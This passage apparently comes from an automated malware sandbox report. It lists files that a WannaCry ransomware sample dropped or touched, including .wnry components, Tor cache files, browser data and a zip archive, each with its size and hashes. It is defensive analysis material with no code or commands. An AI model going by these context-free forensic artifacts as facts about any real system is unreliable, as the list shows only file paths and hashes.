                                                                                                27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Default\HubApps
                                                                                                Filesize

                                                                                                107KB

                                                                                                MD5

                                                                                                2b66d93c82a06797cdfd9df96a09e74a

                                                                                                SHA1

                                                                                                5f7eb526ee8a0c519b5d86c845fea8afd15b0c28

                                                                                                SHA256

                                                                                                d4c064db769b3c109da2ed80a53fbab00987c17421a47921e41e213781d67954

                                                                                                SHA512

                                                                                                95e45c0aea0e704be5f512dffaae377d4abef78da99b3bca769264d69be20f2570daf2f47905645217e1b2696e42b101f26149219f148b4d6dd97a6c2868b6f5

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Default\Network\Network Persistent State
                                                                                                Filesize

                                                                                                3KB

                                                                                                MD5

                                                                                                43eb36fde4955d5cfc4d28c223e79077

                                                                                                SHA1

                                                                                                e4e0477739ea3ffdecea833daa64e932b687cdfc

                                                                                                SHA256

                                                                                                98ce64619609f3c0eefe47da30691c5bc49a03290d4d73f1ca8a1e3d508c49b7

                                                                                                SHA512

                                                                                                951fe57cd62e922f8a864ec674b9ab18d9326a280963328ef5a16588f2c7a8dc8ae51b5c524fcd6e1a555a56ca6617e97caa0a347f05807f83df8e6fca74ed10

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Default\Network\Network Persistent State
                                                                                                Filesize

                                                                                                3KB

                                                                                                MD5

                                                                                                cb3b931fd40e717826fc561510304087

                                                                                                SHA1

                                                                                                d55eead0be08d7964d09fc4f54cb611daebf8b2b

                                                                                                SHA256

                                                                                                0fabf7564e1e65cc096b8ee22b8b00500a526e177b477b80831c92abe3cf85d2

                                                                                                SHA512

                                                                                                79659025c076ac71923eaed0bd78cdc5466db89e556b4e2e9b7e1298cec7f1bc444a0880a923e3c9f947e727d7dd7055d670e61d50c49444174dcf732bdca67d

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Default\Network\Network Persistent State
                                                                                                Filesize

                                                                                                3KB

                                                                                                MD5

                                                                                                2c03e49a423c5ace4c97a8fa380af73b

                                                                                                SHA1

                                                                                                67dcd0d091d8cf9d2a91220126dc4b1471c58c59

                                                                                                SHA256

                                                                                                a6df4d07c8d6e6d9fbaaea37d3c73c5585004f127d3c490adc0beb5e897bf4bc

                                                                                                SHA512

                                                                                                b92a0ab64ad579a09bcdce1103d1e5d0ee71863b5901dbb1b98fa973fd30de1ba7a1579042136f1cd2a57751772c4b443755f1aae63a64acb30d10ed4d714c3b

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Default\Network\SCT Auditing Pending Reports
                                                                                                Filesize

                                                                                                2B

                                                                                                MD5

                                                                                                d751713988987e9331980363e24189ce

                                                                                                SHA1

                                                                                                97d170e1550eee4afc0af065b78cda302a97674c

                                                                                                SHA256

                                                                                                4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

                                                                                                SHA512

                                                                                                b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Default\Network\Sdch Dictionaries
                                                                                                Filesize

                                                                                                40B

                                                                                                MD5

                                                                                                20d4b8fa017a12a108c87f540836e250

                                                                                                SHA1

                                                                                                1ac617fac131262b6d3ce1f52f5907e31d5f6f00

                                                                                                SHA256

                                                                                                6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d

                                                                                                SHA512

                                                                                                507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Default\Preferences
                                                                                                Filesize

                                                                                                16KB

                                                                                                MD5

                                                                                                80ba05455d46dec5509bd1cdf50c6db6

                                                                                                SHA1

                                                                                                0bee93b62fa4db7fe40ce2c42ad822c0436d1119

                                                                                                SHA256

                                                                                                ef1edc61c0da080309515fda224e79d7d2e2e791687be8765cdf44ff69b69c51

                                                                                                SHA512

                                                                                                542112ec4b1685acd041d81f560e1b57c449119b4c47cfb8870e7970dd028791a934935c28c64d6fddcfd03c361b1629c689708de38ca805eba5b31963c8653b

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Default\Preferences
                                                                                                Filesize

                                                                                                17KB

                                                                                                MD5

                                                                                                bea7dbab8ed5cb2d1e52d27421e8c018

                                                                                                SHA1

                                                                                                1d2350d45870f12bd35cfd73a42a4b6f903d1e51

                                                                                                SHA256

                                                                                                3035a553620960f9dcd35d8726154c497b5e8478870466e65cfd4d048771191a

                                                                                                SHA512

                                                                                                54fbf2dfd6e974fbd576ebdb95c746ccebbf85b6ef1a25a341062609c737383ae88a556291a1c70a8fdf1a0e5b3142753a20dd18a2d1757f33b61e545cacd290

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Default\Secure Preferences
                                                                                                Filesize

                                                                                                36KB

                                                                                                MD5

                                                                                                3a2de00c6a6c9ff4eeb9c5583ae8ddb0

                                                                                                SHA1

                                                                                                8e765a7659776516cf95fc53b4055f6522f63214

                                                                                                SHA256

                                                                                                55a2bd664c17a328fd21d3b7118a2d1bcb6c2622efb7b94ee9e98a58a7ae2688

                                                                                                SHA512

                                                                                                0bd835c817032f12bab4c3cbe1c256544bde76771b1e7bb8b79807324b6a852be915f8853defdc2277b9cad3b56cf3dfec3dbc0370d29a2811ae19f6d8b84f4b

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\5cb4ebaf-2228-469a-ae44-7449152ffb03\index-dir\the-real-index
                                                                                                Filesize

                                                                                                2KB

                                                                                                MD5

                                                                                                06119aacd90d6a23db4c4ad1aea2677e

                                                                                                SHA1

                                                                                                8757047e3daafa97af453746cd1ee4fd667288a0

                                                                                                SHA256

                                                                                                1e6835a8c89661c50f482c164499ba662b42410a07370afe9f81d310cb8b6127

                                                                                                SHA512

                                                                                                379f235bcc72963bf2929f3c80e4000792dcff78f47d50170a2f66add84f33f3cf3356bbafec5a84688e7c3fc2d864e59bab0fa0ee5392cec2de46a4ea82aa20

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\5cb4ebaf-2228-469a-ae44-7449152ffb03\index-dir\the-real-index
                                                                                                Filesize

                                                                                                2KB

                                                                                                MD5

                                                                                                df93f893c45ccd38a9a65348dc559184

                                                                                                SHA1

                                                                                                e4a2a333abc2e722fd3299c7d1b55247a78d1bdf

                                                                                                SHA256

                                                                                                f1b40768e3935ec0fb5093b38d550cc0fa379ab3f268ff3e83e33a3f5be3b9fd

                                                                                                SHA512

                                                                                                6d2f6e864ef1169448665d9d471b86c19157dde16b7e66f7998fa2c6fe16d393b2d17a2cdd21a6910caef6078e80609b7e4a72b423311ef31226c9bee172f373

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\5cb4ebaf-2228-469a-ae44-7449152ffb03\index-dir\the-real-index~RFe58a8dd.TMP
                                                                                                Filesize

                                                                                                2KB

                                                                                                MD5

                                                                                                a7f174587feb196c927f434a3252c0ee

                                                                                                SHA1

                                                                                                43532a325a37e5deb0f2e2d167c497ab326229c4

                                                                                                SHA256

                                                                                                b72768addc71d49e44ac7102b166543d3bbce0793010621c494898d2f5ff8e1c

                                                                                                SHA512

                                                                                                81820dd61fa464856666e938de41517576d523b4c5832c56d391d4ac644d0822a4bca1aca0dcd94a8d4f2e87ff668cb7ebdcc3bd9efc969c6c98b4cd3b4d04b6

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\dae4cda1-74a6-4702-b9bc-dbe8c8cc474f\index-dir\the-real-index
                                                                                                Filesize

                                                                                                72B

                                                                                                MD5

                                                                                                4f4a2ef548cdf5d241bdd29796c1e934

                                                                                                SHA1

                                                                                                bfff0f6623537d2d1dff8f8150cbe098eaf74426

                                                                                                SHA256

                                                                                                ae376d29aa460d8652cc824306d7932fc99940fe571c6dfa0d56f733c499d54f

                                                                                                SHA512

                                                                                                746617fba0303144a4e5938d1a91da5a5fd6903a2df8ad818d8199e4f67a9273d0bebe50c7e30f42479e7a02ea83dd6d539ccd6df9782eb9a1393d9fc6d5463f

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\dae4cda1-74a6-4702-b9bc-dbe8c8cc474f\index-dir\the-real-index
                                                                                                Filesize

                                                                                                72B

                                                                                                MD5

                                                                                                cb277c96229a53db113624b963c26d84

                                                                                                SHA1

                                                                                                729f0acfa625d8fca5e4269865f8f2e01e93a0ee

                                                                                                SHA256

                                                                                                40a3a1e8d0a15898704a8acb2a43d1f9faa602f48d66fe984f1846887e8fcf06

                                                                                                SHA512

                                                                                                b282aab9e9e70e2fea3b9bdf550a6dfacd6baa2db7fcfbd1d60376f5e766908796efaa1eb837c8b0567a362963eab244c4f7d62d54a73d1c73d38a0bff6df394

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt
                                                                                                Filesize

                                                                                                253B

                                                                                                MD5

                                                                                                80a1ce2c7140c54570e45f7ee7207d47

                                                                                                SHA1

                                                                                                f8e0fb8bdefe99a01e26efabb745a4bc80a40e0c

                                                                                                SHA256

                                                                                                9fe97eb419e2f7d1a12e9a10fd16b9009ce27fbb9ef4448bab50f2ba0e3c6290

                                                                                                SHA512

                                                                                                031780a7f5c20e9a2e1fc1178dc0241401d279f0e01f491e725a4175ebf3338773892434ff1ebd8899a1909814f612fb6c5505d66bfdc31acc4b7c655deb93f5

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
                                                                                                Filesize

                                                                                                72B

                                                                                                MD5

                                                                                                a95fe744fc991dc7815770182a060977

                                                                                                SHA1

                                                                                                9a19ea34a0981cb99d59c972e7a6a7c0f8e002d9

                                                                                                SHA256

                                                                                                b46c8c1c25cab1f955c79ea84cc20fe41a61c559606fcf066aebcf4846b65985

                                                                                                SHA512

                                                                                                8490a72494f09b7e7637eec5e25f8834ea6a5601a25e26b665538b2678befbdfc9619a3739ad859e881bb764fa1ec3c18fe930d9ccb1305df1abc457d25b18b4

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe58fd85.TMP
                                                                                                Filesize

                                                                                                48B

                                                                                                MD5

                                                                                                5ea6ca96728e7dca6a00b57135000cd3

                                                                                                SHA1

                                                                                                ba8a0238b4d146d3cea9f27ac829aa540f2696f1

                                                                                                SHA256

                                                                                                ca3efebf62fdce20db17c6c090433f68d3f88fd5bb7fe6017ee1fab7581cc7d6

                                                                                                SHA512

                                                                                                ae695a0afebca23a9c9d3e5b0675239f20f9fb9df1ca7de73e43ba232363e7eac8929fb4ac892a0a296d5628df7b4553cb07c038f6e74083b29e8a669b9d93ce

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Default\Sync Data\Logs\sync_diagnostic.log
                                                                                                Filesize

                                                                                                22KB

                                                                                                MD5

                                                                                                fd0d17c35aeedd4e2be7d778a17d8c84

                                                                                                SHA1

                                                                                                955887f105c69fefa6011fc9bad927407d3336b1

                                                                                                SHA256

                                                                                                6dc23080ec534bb94e0f9cbe79d4f81d737780740913572389dc08107dbbda8b

                                                                                                SHA512

                                                                                                a6b4d54d08fc49f344af78d005200b186806d568738e3cfe7f471942454ee5411b77eb494e9a837c89e8f349c810986a9637dbfecd06d767c0a5e0ece05e48cd

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Edge Cloud Config\CloudConfigLog
                                                                                                Filesize

                                                                                                467B

                                                                                                MD5

                                                                                                de8941ff9e5e302b3e47ff72050c1ad6

                                                                                                SHA1

                                                                                                2a2dca9d9e019e143d5476d10f97e8d72f98b20e

                                                                                                SHA256

                                                                                                9a4359b8dc6932ede5d733cf84e17944ccd5cd00c215a50d29559462798cf434

                                                                                                SHA512

                                                                                                2318442d96a76e5849318a21a6885135cf2b4eef78a7dd88a34e1fb74a54e61ac9eeaa1a34e4ed0115f34a3818b69aaa53fd68146b1409cb8fae1ecacaee2b2d

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Edge Cloud Config\CloudConfigLog
                                                                                                Filesize

                                                                                                20KB

                                                                                                MD5

                                                                                                6ecc2ef1b4a9cee417dcc8c8eb77ddf0

                                                                                                SHA1

                                                                                                cbad790a5459a2d01ba27bfb0aa09e73f884cc33

                                                                                                SHA256

                                                                                                e2d6300e6a5afb4d8f7feca4ba0636cad3b9bb6b020fd4fbf9499bc3f961ba9d

                                                                                                SHA512

                                                                                                b9b0ce41deb556bc7c7e50e8698fbb10b4e1f1cf2634be6f50bd4f8aad7311ebe1e12e90cd7510d7b50da43aea033f27204b4275e2f007ca4063cc0136da28e8

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Edge Cloud Config\CloudConfigLog
                                                                                                Filesize

                                                                                                900B

                                                                                                MD5

                                                                                                cacd0e138ace4e659cfcfa33a0124f23

                                                                                                SHA1

                                                                                                62264e010888e5c08bdef0bd22cc6283027e34a6

                                                                                                SHA256

                                                                                                d58c90d02b36c1b5ecb202847d6a2377d7fc0fceeb070548ce739f7c5366cfa1

                                                                                                SHA512

                                                                                                2d5d3d4d7fe415bcf9a86c482246235e81d900af32d82efc6558c66b24c41e35a1fe9b45f4b39a69955fa908369977290ede5f2fb8c4defee3bc5d2e22d60af9

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Edge Cloud Config\OperationConfig
                                                                                                Filesize

                                                                                                22KB

                                                                                                MD5

                                                                                                3f8927c365639daa9b2c270898e3cf9d

                                                                                                SHA1

                                                                                                c8da31c97c56671c910d28010f754319f1d90fa6

                                                                                                SHA256

                                                                                                fc80d48a732def35ab6168d8fd957a6f13f3c912d7f9baf960c17249e4a9a1f2

                                                                                                SHA512

                                                                                                d75b93f30989428883cb5e76f6125b09f565414cf45d59053527db48c6cf2ac7f54ed9e8f6a713c855cd5d89531145592ef27048cf1c0f63d7434cfb669dbd72

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Local State
                                                                                                Filesize

                                                                                                40KB

                                                                                                MD5

                                                                                                11810daf9dc447825bd889adfefdcffc

                                                                                                SHA1

                                                                                                9a9da548ed0624135858c91f1b7179aabbff92fd

                                                                                                SHA256

                                                                                                09453629e691922cd942c8ecd1b1334a7be1a126d008125991b3ee571a26ed8e

                                                                                                SHA512

                                                                                                2ed0ed39a2522b632a85ef6f7d81fdb5a2a26397e51f9ab7e8346f8d2e178636f7cc89942547a6bac6c0af4de82e2f2e239fc303c17e2ef7dddf7c1a0f9b063a

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Local State
                                                                                                Filesize

                                                                                                38KB

                                                                                                MD5

                                                                                                7edf9ebddd08bb8332ffdffca28a3c9c

                                                                                                SHA1

                                                                                                f178375f758caa6ec8ca0fedfaf2af31265d33ad

                                                                                                SHA256

                                                                                                3b8d5a854c4c294da4fa2e81b92d5dd827a108b426ba4b1047884ab810f844e7

                                                                                                SHA512

                                                                                                72232f09c42803fde24d5a5a364a1717ff4fcfffb09871e099d95d809a543261b56a87c9480e7ffbd667681f71563d99aa22d8cac3d36991f289785f88b728c0

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Local State
                                                                                                Filesize

                                                                                                38KB

                                                                                                MD5

                                                                                                c59212455aa62dba3294bc7752549bf1

                                                                                                SHA1

                                                                                                3495a105608637939a6b0dd5bef0b53f1fd2a2c4

                                                                                                SHA256

                                                                                                015465a334e9a2d892c99a89b44b763b543dcb06ddb226fac47e870a4d345fbf

                                                                                                SHA512

                                                                                                c69ea162287482b905977c1ae0ccb6f5f762ae141ffd7e7283e08293213e19247a2b988f07ab4faa4e72e1bf23e690b9a08cde1c643ab7409b9ee2b8e4a45540

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Well Known Domains\1.2.0.0\well_known_domains.dll
                                                                                                Filesize

                                                                                                572KB

                                                                                                MD5

                                                                                                f5f5b37fd514776f455864502c852773

                                                                                                SHA1

                                                                                                8d5ed434173fd77feb33cb6cb0fad5e2388d97c6

                                                                                                SHA256

                                                                                                2778063e5ded354d852004e80492edb3a0f731b838bb27ba3a233bc937592f6e

                                                                                                SHA512

                                                                                                b0931f1cae171190e6ec8880f4d560cc7b3d5bffe1db11525bd133eaf51e2e0b3c920ea194d6c7577f95e7b4b4380f7845c82eb2898ad1f5c35d4550f93a14b6

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
                                                                                                Filesize

                                                                                                2KB

                                                                                                MD5

                                                                                                7ffbe8f3f15d3aec03957ac7f4e6b3d8

                                                                                                SHA1

                                                                                                950c078fbe3ba3c7cf5cb37bbc5b5369ccf7ffc1

                                                                                                SHA256

                                                                                                40dd852c298bc33a32bbf454c23805c7f3aba265b1989db44d788d078cf61515

                                                                                                SHA512

                                                                                                4102aba2294e15d937b17fa6a35946dce45d1582be6ad8396217906f9b4e8196347378172c7096730391c9239a1395bb3295d03ee5bde5aac47eac83f4bfa629

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                Filesize

                                                                                                1KB

                                                                                                MD5

                                                                                                958dd09ff309e716cccf93de80a2766f

                                                                                                SHA1

                                                                                                1266bf3b2c22c585e1dde75768ddf14d81ca1522

                                                                                                SHA256

                                                                                                9f875602f77ed4a18f7535f30f3361b76f6124cac160c2d7e03209d2ad585781

                                                                                                SHA512

                                                                                                d6d698a06b24608a4b5010c22fd9fc159e0bad728439dfd71582d75bf443708cfedc473dbe02a462d5bd027f0131c846c4630bf41f5938a21403d5b78d1f084c

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                Filesize

                                                                                                1KB

                                                                                                MD5

                                                                                                5dc0bf06113f867ab9be36428acea530

                                                                                                SHA1

                                                                                                bd73ca9bf3e5edc80370f4bc79eb403772440105

                                                                                                SHA256

                                                                                                d8e861ab4e7c40d5ccae45c056a72219decadc6061a0020cae2dfec8dc55e4ae

                                                                                                SHA512

                                                                                                e92b837a30d55b7d0f38aafc3a9403d77f2672b1de2113ba1926c7e84c89248813b50f942cbb72a166819f773b8ac4ba40d5a3329e1a815a2f833234b5a1d98d

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                Filesize

                                                                                                1KB

                                                                                                MD5

                                                                                                2b5bf99671784a2553ebe3fbe2ff309a

                                                                                                SHA1

                                                                                                a326fb22f39beeb782406b01004a7335083bd92b

                                                                                                SHA256

                                                                                                a0ccbbf71836484a5374008750e2316a25c276141e62fbd335b03912ac7ea958

                                                                                                SHA512

                                                                                                889cd2b6e6066e0efef82f40846ed428d7e3515e74a6b7d593bcabe27849acf1890b91b2740d6940c5503c0d5610d13227f0dc7f2f5aa59c22b503ed61470f30

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                Filesize

                                                                                                1KB

                                                                                                MD5

                                                                                                c0a5b34cdf29c042e6b0c7d65de3cd06

                                                                                                SHA1

                                                                                                41b952102b4d5016ac1cd756150994c9a795f29c

                                                                                                SHA256

                                                                                                7df59ac6513468fcf70a53bbc3879337add75de09a170937211fa194590d7014

                                                                                                SHA512

                                                                                                de56b2a8fc2293d99bc9d24a34ee40b6f44d8ad86d60dd8cdb757a40f155400e139a80b81d0379bf45e754dc2f29b4b7fc49a510806a592235a6a0b64cd8d3f5

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1c1k1bcp.sfr.ps1
                                                                                                Filesize

                                                                                                60B

                                                                                                MD5

                                                                                                d17fe0a3f47be24a6453e9ef58c94641

                                                                                                SHA1

                                                                                                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                SHA256

                                                                                                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                SHA512

                                                                                                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Temp\ohodhi.zip
                                                                                                Filesize

                                                                                                3.3MB

                                                                                                MD5

                                                                                                3c7861d067e5409eae5c08fd28a5bea2

                                                                                                SHA1

                                                                                                44e4b61278544a6a7b8094a0615d3339a8e75259

                                                                                                SHA256

                                                                                                07ecdced8cf2436c0bc886ee1e49ee4b8880a228aa173220103f35c535305635

                                                                                                SHA512

                                                                                                c2968e30212707acf8a146b25bb29c9f5d779792df88582b03431a0034dc82599f58d61fc9494324cc06873e5943f8c29bffd0272ca682d13c0bb10482d79fc5

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Roaming\WindowsLocalAgent
                                                                                                Filesize

                                                                                                185KB

                                                                                                MD5

                                                                                                78343595ae1da34b4e0309a49c5a0c0d

                                                                                                SHA1

                                                                                                a6bb90fe9ea1bb75dbcb8723c27e18de8af55785

                                                                                                SHA256

                                                                                                456748465f46ca21a2775c5a7edb28c065b58a96d5fe25e4d7ef8828524ecf46

                                                                                                SHA512

                                                                                                d525438101c183c14592199014050580392153637fef82c72fa727aa8d79fc3553b0f4e8950be0ef1488d3006734d16f0947a2f93095f28ad9dec8af6b040435

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Roaming\tor\cached-microdescs.new
                                                                                                Filesize

                                                                                                18.1MB

                                                                                                MD5

                                                                                                a19a019f1e4112e545ced362f655ef67

                                                                                                SHA1

                                                                                                456c047239d88726ce2540b1c7f5614d59106121

                                                                                                SHA256

                                                                                                edb963e9261aa482aa8ded2f7fdea0b74e8f1df1d0e3aa1ed1c2848bdc404ed9

                                                                                                SHA512

                                                                                                5a3dc01b3952fe0c9186b045c2acf3e515948074409f0881b58da00f3e8171d0abad0cf056fcdd0b80dba84fa776e871252bd7bc627e847599f5ae035b8e2e84

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\Documents\ohodhi\WannaCry-main\@[email protected]
                                                                                                Filesize

                                                                                                933B

                                                                                                MD5

                                                                                                f97d2e6f8d820dbd3b66f21137de4f09

                                                                                                SHA1

                                                                                                596799b75b5d60aa9cd45646f68e9c0bd06df252

                                                                                                SHA256

                                                                                                0e5ece918132a2b1a190906e74becb8e4ced36eec9f9d1c70f5da72ac4c6b92a

                                                                                                SHA512

                                                                                                efda21d83464a6a32fdeef93152ffd32a648130754fdd3635f7ff61cc1664f7fc050900f0f871b0ddd3a3846222bf62ab5df8eed42610a76be66fff5f7b4c4c0

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\Documents\ohodhi\WannaCry-main\b.wnry
                                                                                                Filesize

                                                                                                1.4MB

                                                                                                MD5

                                                                                                c17170262312f3be7027bc2ca825bf0c

                                                                                                SHA1

                                                                                                f19eceda82973239a1fdc5826bce7691e5dcb4fb

                                                                                                SHA256

                                                                                                d5e0e8694ddc0548d8e6b87c83d50f4ab85c1debadb106d6a6a794c3e746f4fa

                                                                                                SHA512

                                                                                                c6160fd03ad659c8dd9cf2a83f9fdcd34f2db4f8f27f33c5afd52aced49dfa9ce4909211c221a0479dbbb6e6c985385557c495fc04d3400ff21a0fbbae42ee7c

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\Documents\ohodhi\WannaCry-main\c.wnry
                                                                                                Filesize

                                                                                                780B

                                                                                                MD5

                                                                                                383a85eab6ecda319bfddd82416fc6c2

                                                                                                SHA1

                                                                                                2a9324e1d02c3e41582bf5370043d8afeb02ba6f

                                                                                                SHA256

                                                                                                079ce1041cbffe18ff62a2b4a33711eda40f680d0b1d3b551db47e39a6390b21

                                                                                                SHA512

                                                                                                c661e0b3c175d31b365362e52d7b152267a15d59517a4bcc493329be20b23d0e4eb62d1ba80bb96447eeaf91a6901f4b34bf173b4ab6f90d4111ea97c87c1252

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\Documents\ohodhi\WannaCry-main\msg\m_bulgarian.wnry
                                                                                                Filesize

                                                                                                46KB

                                                                                                MD5

                                                                                                95673b0f968c0f55b32204361940d184

                                                                                                SHA1

                                                                                                81e427d15a1a826b93e91c3d2fa65221c8ca9cff

                                                                                                SHA256

                                                                                                40b37e7b80cf678d7dd302aaf41b88135ade6ddf44d89bdba19cf171564444bd

                                                                                                SHA512

                                                                                                7601f1883edbb4150a9dc17084012323b3bfa66f6d19d3d0355cf82b6a1c9dce475d758da18b6d17a8b321bf6fca20915224dbaedcb3f4d16abfaf7a5fc21b92

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\Documents\ohodhi\WannaCry-main\msg\m_chinese (simplified).wnry
                                                                                                Filesize

                                                                                                53KB

                                                                                                MD5

                                                                                                0252d45ca21c8e43c9742285c48e91ad

                                                                                                SHA1

                                                                                                5c14551d2736eef3a1c1970cc492206e531703c1

                                                                                                SHA256

                                                                                                845d0e178aeebd6c7e2a2e9697b2bf6cf02028c50c288b3ba88fe2918ea2834a

                                                                                                SHA512

                                                                                                1bfcf6c0e7c977d777f12bd20ac347630999c4d99bd706b40de7ff8f2f52e02560d68093142cc93722095657807a1480ce3fb6a2e000c488550548c497998755

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\Documents\ohodhi\WannaCry-main\msg\m_chinese (traditional).wnry
                                                                                                Filesize

                                                                                                77KB

                                                                                                MD5

                                                                                                2efc3690d67cd073a9406a25005f7cea

                                                                                                SHA1

                                                                                                52c07f98870eabace6ec370b7eb562751e8067e9

                                                                                                SHA256

                                                                                                5c7f6ad1ec4bc2c8e2c9c126633215daba7de731ac8b12be10ca157417c97f3a

                                                                                                SHA512

                                                                                                0766c58e64d9cda5328e00b86f8482316e944aa2c26523a3c37289e22c34be4b70937033bebdb217f675e40db9fecdce0a0d516f9065a170e28286c2d218487c

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\Documents\ohodhi\WannaCry-main\msg\m_croatian.wnry
                                                                                                Filesize

                                                                                                38KB

                                                                                                MD5

                                                                                                17194003fa70ce477326ce2f6deeb270

                                                                                                SHA1

                                                                                                e325988f68d327743926ea317abb9882f347fa73

                                                                                                SHA256

                                                                                                3f33734b2d34cce83936ce99c3494cd845f1d2c02d7f6da31d42dfc1ca15a171

                                                                                                SHA512

                                                                                                dcf4ccf0b352a8b271827b3b8e181f7d6502ca0f8c9dda3dc6e53441bb4ae6e77b49c9c947cc3ede0bf323f09140a0c068a907f3c23ea2a8495d1ad96820051c

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\Documents\ohodhi\WannaCry-main\msg\m_czech.wnry
                                                                                                Filesize

                                                                                                39KB

                                                                                                MD5

                                                                                                537efeecdfa94cc421e58fd82a58ba9e

                                                                                                SHA1

                                                                                                3609456e16bc16ba447979f3aa69221290ec17d0

                                                                                                SHA256

                                                                                                5afa4753afa048c6d6c39327ce674f27f5f6e5d3f2a060b7a8aed61725481150

                                                                                                SHA512

                                                                                                e007786ffa09ccd5a24e5c6504c8de444929a2faaafad3712367c05615b7e1b0fbf7fbfff7028ed3f832ce226957390d8bf54308870e9ed597948a838da1137b

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\Documents\ohodhi\WannaCry-main\msg\m_danish.wnry
                                                                                                Filesize

                                                                                                36KB

                                                                                                MD5

                                                                                                2c5a3b81d5c4715b7bea01033367fcb5

                                                                                                SHA1

                                                                                                b548b45da8463e17199daafd34c23591f94e82cd

                                                                                                SHA256

                                                                                                a75bb44284b9db8d702692f84909a7e23f21141866adf3db888042e9109a1cb6

                                                                                                SHA512

